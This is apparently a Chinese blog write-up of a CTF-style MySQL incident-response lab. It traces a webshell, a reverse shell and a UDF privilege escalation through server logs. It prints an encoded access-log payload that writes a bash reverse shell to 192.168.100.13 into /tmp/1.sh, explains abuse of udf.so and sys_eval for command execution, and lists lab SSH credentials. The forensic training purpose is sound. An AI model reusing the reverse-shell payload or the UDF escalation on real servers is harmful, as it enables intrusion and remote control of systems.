第二章日志分析-mysql应急响应笔记

简介

mysql应急响应 ssh账号 root 密码 xjmysql

ssh env.xj.edisec.net -p xxxxx

1.黑客第一次写入的shell flag{关键字符串}

2.黑客反弹shell的ip flag{ip}

3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

4.黑客获取的权限 flag{whoami后的值}

1.黑客第一次写入的shell flag{关键字符串}

因为是查找shell,我们可以尝试使用如下命令进行查找:

find ./ type f -name "*.php" | xargs grep "eval("

发现了sh.php文件,使用cat命令进行查看,成功找到了flag

我们也可以把该站点给下载到本地,使用D盾进行查找。

flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

2.黑客反弹shell的ip flag{ip}

咱们先去查看一下数据库的日志信息,看看能不能找到什么线索,路径:(上传文件的记录会出现在 MySQL error.log 中)

/var/log/mysql/error.log

发现,这很可能是在执行 /tmp/1.sh 脚本的第 9 行时,发生了一个与文件保存或数据传输相关的操作。

cat一下这个文件,找到了flag

也可以在/var/log/apache2/access.log日志中看到sys_eval中的命令,但我们需要对其进行处理

%27echo%20YmFzaCAtaSA%2BJi9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx%7Cbase64%20-d%3E%2Ftmp%2F1.sh%27

进行url解码,在base64解码也是可以看见黑客的IP地址的

flag{192.168.100.13}

3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

黑客要进行提权的话,他肯定是知道连接账号和密码,所以我们就要猜他怎么知道的,我们就要去看是不是有东西泄露了密码。

我们在如下文件中,发现了数据库的账号密码

/var/www/html/common.php

我们就可以进行登录其数据库。

基于目前的环境我们可以排除

MOF 提权(MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。)

启动项提权(这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。)

CVE-2016-6663提权

  1. MySQL 版本需要 <= 5.5.51 或 5.6.x <= 5.6.32 或 5.7.x <= 5.7.14 或 8.x < 8.0.1
  2. MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17

,而我们环境的 MariaDB 版本为 5.5.64,不在此漏洞的影响版本内,也可以排除掉

MySQL 提权方法整理 - Geekby's Blog 参考链接

所以现在只有UDF提权的可能性,UDF(自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用)

我们使用如下指令来查看mysql是否有对文件操作进行限制,也就是说黑客能不能在数据库中写入任意文件:

show global variables like '%secure%';

1.secure_file_priv = NULL ,限制文件的读取和写入。

2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。

3.secure_file_priv= , 对文件和读取和写入没有任何限制。

发现是空白,所以说是UDF提权的概率又增加了。

我们使用如下指令来查看插件目录:

show variables like '%plugin%';

打开插件的目录,发现一个udf.so文件,其路径为:/usr/lib/mysql/plugin/udf.so

使用md5进行加密MD5 在线加密工具 | 菜鸟工具

提交flag{b1818bde4e310f3d23f1005185b973e7}

4.黑客获取的权限 flag{whoami后的值}

我们在mysql.func表查看是否有异常的UDF函数。

func表:是专门用于存储用户自定义函数(UDF,User-Defined Functions)的相关信息。用户自定义函数指的是用户依据自身需求创建的函数,这些函数可以在 SQL 查询里使用,以实现特定的功能。

select * from mysql.func;

发现有一个sys_eval()函数,接着使用这个函数去执行whoami的操作

select sys_eval('whoami');

另外 在/var/log/apache2/access.log 日志中也发现了黑客也在使用了该函数。

flag{mysql}

下期预告:第二章日志分析-redis应急响应

相关推荐
~光~~3 分钟前
【嵌入式Linux学习】GFP_NOIO / GFP_NOFS(Linux 内核 gfp 分配标志)
linux·运维·学习
AI 算法大模型备案~当当11 分钟前
各地备案数量怎么看:一份属地公告的认读与台账方法
java·数据库·人工智能
涵美女程序猿13 分钟前
ChatCut online 剪负载均衡健康检查演练录屏:后端池、探针路径与摘除阈值怎样对应
运维·程序人生·电脑·负载均衡
分布式存储与RustFS23 分钟前
升级 RustFS 二进制不停机:一条一条换,留一条退路
运维·云原生·开源·对象存储·分布式存储·s3·性能基准
吴声子夜歌34 分钟前
Nginx应用与运维——Nginx核心配置指令(一)
运维·nginx
梦帮科技38 分钟前
量子张量网络破局大模型:从矩阵乘积态 (MPS) 到张量列 (TT-SVD) 低秩收缩全推导
网络·数据结构·数据库·线性代数·矩阵·架构·模拟退火算法
android阿杜40 分钟前
Ubuntu 26.04 LTS 系统每次重启后屏幕亮度都会增加一点
linux·运维·ubuntu
曹牧1 小时前
PL/SQL Developer:导出建表语句
数据库·sql
念念不忘 必有回响1 小时前
MySQL 事务与隔离级别完全指南
数据库·mysql
lusklusklusk2 小时前
Sqlserver_Oracle_Mysql_Postgresql表_索引碎片或膨胀的知识点汇总
mysql·oracle·sqlserver